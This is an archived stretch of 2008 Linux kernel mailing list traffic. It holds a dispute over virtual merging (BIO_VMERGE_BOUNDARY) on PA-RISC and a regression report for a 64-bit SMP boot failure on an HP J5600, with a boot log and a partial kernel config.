In-Reply-To: <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43382 gmane.linux.kernel:711340 gmane.linux.ports.parisc:553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/553>

On Thu, 2008-07-24 at 11:07 -0400, Mikulas Patocka wrote:
> So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
> performance degradation do you see (and what driver do you use and what is 
> the I/O pattern).
> 
> If you show something specific, we can consider that --- but you haven't 
> yet told us anything, except generic talk.

You keep ignoring inconvenient facts.  For about the third time:

I run a test bed for sg_tables (large chaining of requests).  This runs
on parisc using virtual merging (has to because the final physical table
size can't go over the sg list of the SCSI card).  If I turn off virtual
merging I can no longer test sg_tables in vanilla kernels.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Thu, 24 Jul 2008 12:34:31 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
References: <1216520228.3376.33.camel@localhost.localdomain> 
 <20080719.210737.197246608.davem@davemloft.net>  <1216565545.4199.10.camel@localhost.localdomain>
  <20080720.102302.137955996.davem@davemloft.net>  <1216575211.4199.35.camel@localhost.localdomain>
  <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com>
 <1216913314.4524.25.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216917304 22347 80.91.229.12 (24 Jul 2008 16:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 16:35:04 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 18:35:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM3n6-0006nz-Mp
	for glpp-linux-parisc@gmane.org; Thu, 24 Jul 2008 18:35:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751711AbYGXQet (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 12:34:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751783AbYGXQes
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 12:34:48 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:35959 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751711AbYGXQer (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 12:34:47 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6OGYW1f011651;
	Thu, 24 Jul 2008 12:34:32 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6OGYWH7003777;
	Thu, 24 Jul 2008 12:34:32 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6OGYV0Y021446;
	Thu, 24 Jul 2008 12:34:31 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6OGYVMP009930;
	Thu, 24 Jul 2008 12:34:31 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6OGYVVN009926;
	Thu, 24 Jul 2008 12:34:31 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216913314.4524.25.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:554 gmane.linux.kernel:711367 gmane.linux.scsi:43391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/554>

On Thu, 24 Jul 2008, James Bottomley wrote:

> On Thu, 2008-07-24 at 11:07 -0400, Mikulas Patocka wrote:
> > So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
> > performance degradation do you see (and what driver do you use and what is 
> > the I/O pattern).
> > 
> > If you show something specific, we can consider that --- but you haven't 
> > yet told us anything, except generic talk.
> 
> You keep ignoring inconvenient facts.  For about the third time:
> 
> I run a test bed for sg_tables (large chaining of requests).  This runs
> on parisc using virtual merging (has to because the final physical table
> size can't go over the sg list of the SCSI card).  If I turn off virtual
> merging I can no longer test sg_tables in vanilla kernels.
> 
> James

What sg_tables test do you mean? What does the test do? Why couldn't you 
run the test if BIO_VMERGE_BOUNDARY is 0? Normal I/O obviously can work 
with BIO_VMERGE_BOUNDARY 0, the kernel will just send more smaller 
requests.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.kernel-testers,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [Bug #10786] parisc: 64bit SMP does not boot on J5600
Date: Thu, 24 Jul 2008 18:43:10 +0200
Lines: 1398
Approved: news@gmane.org
Message-ID: <20080724164310.GA27483@ska.dandreoli.com>
References: <Vu1KV8Wj_GP.A.qW.DzLcIB@albercik> <uBi7uNfg81L.A.C4C.s1LcIB@albercik> <20080710134159.GA4331@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216917816 24262 80.91.229.12 (24 Jul 2008 16:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 16:43:36 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>
Original-X-From: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jul 24 18:44:24 2008
Return-path: <kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM3vR-0002Sb-31
	for glkk-kernel-testers-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 24 Jul 2008 18:44:22 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751623AbYGXQnY (ORCPT <rfc822;glkk-kernel-testers@m.gmane.org>);
	Thu, 24 Jul 2008 12:43:24 -0400
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1751835AbYGXQnY
	(ORCPT <rfc822;kernel-testers-outgoing>);
	Thu, 24 Jul 2008 12:43:24 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.230]:9609 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751623AbYGXQnV (ORCPT
	<rfc822;kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 24 Jul 2008 12:43:21 -0400
Original-Received: by rv-out-0506.google.com with SMTP id k40so2964842rvb.1
        for <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Thu, 24 Jul 2008 09:43:19 -0700 (PDT)
Original-Received: by 10.141.33.21 with SMTP id l21mr321539rvj.9.1216917799150;
        Thu, 24 Jul 2008 09:43:19 -0700 (PDT)
Original-Received: from ska.dandreoli.com ( [159.149.71.27])
        by mx.google.com with ESMTPS id f21sm4637372rvb.0.2008.07.24.09.43.14
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 24 Jul 2008 09:43:17 -0700 (PDT)
Original-Received: by ska.dandreoli.com (Postfix, from userid 1000)
	id C54BF144AA1; Thu, 24 Jul 2008 18:43:10 +0200 (CEST)
Mail-Followup-To: "Rafael J. Wysocki" <rjw-KKrjLPT3xs0@public.gmane.org>,
	Linux Kernel Mailing List <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kernel Testers List <kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Content-Disposition: inline
In-Reply-To: <20080710134159.GA4331-sEfEhJr8Tr7lLLHJGgvKiAC/G2K4zDHf@public.gmane.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: kernel-testers-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <kernel-testers.vger.kernel.org>
X-Mailing-List: kernel-testers-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.kernel-testers:615 gmane.linux.kernel:711369 gmane.linux.ports.parisc:555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/555>

Hi,

On Thu, Jul 10, 2008 at 03:42:00PM +0200, Domenico Andreoli wrote:
> On Sun, Jul 06, 2008 at 01:45:52PM +0200, Rafael J. Wysocki wrote:
> > 
> > The following bug entry is on the current list of known regressions
> > from 2.6.25.  Please verify if it still should be listed.
> 
> I am going to check it later. Last time I saw it was around 2.6.26-rc7/8.

I finally have the test result:

Linux version 2.6.26 (cavok@ska) (gcc version 4.1.3 20080623 (prerelease) (Debian 4.1.2-23)) #34 SMP Wed Jul 23 13:50:45 CEST 2008
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 3840 MB
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux.git
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 3858944k/3932160k available (2967k kernel code, 73036k reserved, 1304k data, 240k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000000130000000   (3840 MB)
      .init : 0x00000000405c4000 - 0x0000000040600000   ( 240 kB)
      .data : 0x00000000403e5d88 - 0x000000004052c000   (1304 kB)
      .text : 0x0000000040100000 - 0x00000000403e5d88   (2967 kB)
Calibrating delay loop... <6>1101.00 BogoMIPS (lpj=5505024)
Security Framework initialized
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 1432 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffffa2000

> Anyway the error message was not the same firstly reported there,
> it could be another problem. More details will follow. Thank you.

indeed

here is also the config file:

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.26
# Wed Jul 23 13:21:59 2008
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_TIME_LOW_RES=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_ARCH_SUPPORTS_AOUT=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_LOCK_KERNEL=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_IKCONFIG=y
# CONFIG_IKCONFIG_PROC is not set
CONFIG_LOG_BUF_SHIFT=15
# CONFIG_CGROUPS is not set
# CONFIG_GROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_BLK_DEV_INITRD is not set
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_SYSCTL_SYSCALL_CHECK=y
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_COMPAT_BRK=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
# CONFIG_PROFILING is not set
# CONFIG_MARKERS is not set
CONFIG_HAVE_OPROFILE=y
# CONFIG_HAVE_KPROBES is not set
# CONFIG_HAVE_KRETPROBES is not set
# CONFIG_HAVE_DMA_ATTRS is not set
CONFIG_USE_GENERIC_SMP_HELPERS=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_STOP_MACHINE=y
CONFIG_BLOCK=y
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_AS is not set
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_CLASSIC_RCU=y

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
CONFIG_SMP=y
CONFIG_HOTPLUG_CPU=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
# CONFIG_SPARSEMEM_STATIC is not set
# CONFIG_SPARSEMEM_VMEMMAP_ENABLE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_RESOURCES_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_COMPAT=y
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
CONFIG_ISA=y
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
CONFIG_PCI_LEGACY=y
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_MISC is not set

#
# Networking
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IP_VS is not set
CONFIG_IPV6=m
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
# CONFIG_IPV6_MIP6 is not set
# CONFIG_INET6_XFRM_TUNNEL is not set
CONFIG_INET6_TUNNEL=m
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=m
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETLABEL is not set
# CONFIG_NETWORK_SECMARK is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
CONFIG_NETFILTER_ADVANCED=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=m
CONFIG_NETFILTER_NETLINK_QUEUE=m
CONFIG_NETFILTER_NETLINK_LOG=m
CONFIG_NF_CONNTRACK=m
# CONFIG_NF_CT_ACCT is not set
# CONFIG_NF_CONNTRACK_MARK is not set
# CONFIG_NF_CONNTRACK_EVENTS is not set
# CONFIG_NF_CT_PROTO_DCCP is not set
# CONFIG_NF_CT_PROTO_SCTP is not set
# CONFIG_NF_CT_PROTO_UDPLITE is not set
# CONFIG_NF_CONNTRACK_AMANDA is not set
CONFIG_NF_CONNTRACK_FTP=m
# CONFIG_NF_CONNTRACK_H323 is not set
CONFIG_NF_CONNTRACK_IRC=m
# CONFIG_NF_CONNTRACK_NETBIOS_NS is not set
# CONFIG_NF_CONNTRACK_PPTP is not set
# CONFIG_NF_CONNTRACK_SANE is not set
# CONFIG_NF_CONNTRACK_SIP is not set
# CONFIG_NF_CONNTRACK_TFTP is not set
CONFIG_NF_CT_NETLINK=m
CONFIG_NETFILTER_XTABLES=m
# CONFIG_NETFILTER_XT_TARGET_CLASSIFY is not set
# CONFIG_NETFILTER_XT_TARGET_CONNMARK is not set
# CONFIG_NETFILTER_XT_TARGET_DSCP is not set
# CONFIG_NETFILTER_XT_TARGET_MARK is not set
# CONFIG_NETFILTER_XT_TARGET_NFQUEUE is not set
# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set
# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set
# CONFIG_NETFILTER_XT_MATCH_COMMENT is not set
# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set
# CONFIG_NETFILTER_XT_MATCH_CONNLIMIT is not set
# CONFIG_NETFILTER_XT_MATCH_CONNMARK is not set
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
# CONFIG_NETFILTER_XT_MATCH_DCCP is not set
# CONFIG_NETFILTER_XT_MATCH_DSCP is not set
# CONFIG_NETFILTER_XT_MATCH_ESP is not set
# CONFIG_NETFILTER_XT_MATCH_HELPER is not set
# CONFIG_NETFILTER_XT_MATCH_IPRANGE is not set
# CONFIG_NETFILTER_XT_MATCH_LENGTH is not set
CONFIG_NETFILTER_XT_MATCH_LIMIT=m
# CONFIG_NETFILTER_XT_MATCH_MAC is not set
# CONFIG_NETFILTER_XT_MATCH_MARK is not set
# CONFIG_NETFILTER_XT_MATCH_OWNER is not set
# CONFIG_NETFILTER_XT_MATCH_MULTIPORT is not set
# CONFIG_NETFILTER_XT_MATCH_PKTTYPE is not set
# CONFIG_NETFILTER_XT_MATCH_QUOTA is not set
# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set
# CONFIG_NETFILTER_XT_MATCH_REALM is not set
# CONFIG_NETFILTER_XT_MATCH_SCTP is not set
CONFIG_NETFILTER_XT_MATCH_STATE=m
# CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set
# CONFIG_NETFILTER_XT_MATCH_STRING is not set
# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set
# CONFIG_NETFILTER_XT_MATCH_TIME is not set
# CONFIG_NETFILTER_XT_MATCH_U32 is not set
# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set

#
# IP: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
# CONFIG_IP_NF_QUEUE is not set
CONFIG_IP_NF_IPTABLES=m
# CONFIG_IP_NF_MATCH_RECENT is not set
# CONFIG_IP_NF_MATCH_ECN is not set
# CONFIG_IP_NF_MATCH_AH is not set
# CONFIG_IP_NF_MATCH_TTL is not set
# CONFIG_IP_NF_MATCH_ADDRTYPE is not set
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_LOG=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
CONFIG_IP_NF_TARGET_MASQUERADE=m
# CONFIG_IP_NF_TARGET_REDIRECT is not set
# CONFIG_IP_NF_TARGET_NETMAP is not set
# CONFIG_NF_NAT_SNMP_BASIC is not set
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
# CONFIG_NF_NAT_TFTP is not set
# CONFIG_NF_NAT_AMANDA is not set
# CONFIG_NF_NAT_PPTP is not set
# CONFIG_NF_NAT_H323 is not set
# CONFIG_NF_NAT_SIP is not set
CONFIG_IP_NF_MANGLE=m
# CONFIG_IP_NF_TARGET_ECN is not set
# CONFIG_IP_NF_TARGET_TTL is not set
# CONFIG_IP_NF_TARGET_CLUSTERIP is not set
# CONFIG_IP_NF_RAW is not set
# CONFIG_IP_NF_SECURITY is not set
# CONFIG_IP_NF_ARPTABLES is not set

#
# IPv6: Netfilter Configuration
#
CONFIG_NF_CONNTRACK_IPV6=m
# CONFIG_IP6_NF_QUEUE is not set
CONFIG_IP6_NF_IPTABLES=m
# CONFIG_IP6_NF_MATCH_RT is not set
# CONFIG_IP6_NF_MATCH_OPTS is not set
# CONFIG_IP6_NF_MATCH_FRAG is not set
# CONFIG_IP6_NF_MATCH_HL is not set
# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set
# CONFIG_IP6_NF_MATCH_AH is not set
# CONFIG_IP6_NF_MATCH_MH is not set
# CONFIG_IP6_NF_MATCH_EUI64 is not set
CONFIG_IP6_NF_FILTER=m
CONFIG_IP6_NF_TARGET_LOG=m
CONFIG_IP6_NF_TARGET_REJECT=m
# CONFIG_IP6_NF_MANGLE is not set
# CONFIG_IP6_NF_RAW is not set
# CONFIG_IP6_NF_SECURITY is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
